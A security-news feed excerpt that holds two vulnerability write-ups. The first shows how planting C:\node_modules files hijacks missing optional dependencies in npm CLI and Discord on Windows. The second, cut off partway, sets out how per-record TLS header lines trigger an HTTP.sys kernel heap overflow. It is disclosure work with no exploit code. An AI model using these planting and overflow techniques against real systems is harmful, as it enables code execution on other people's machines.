  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  




  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been 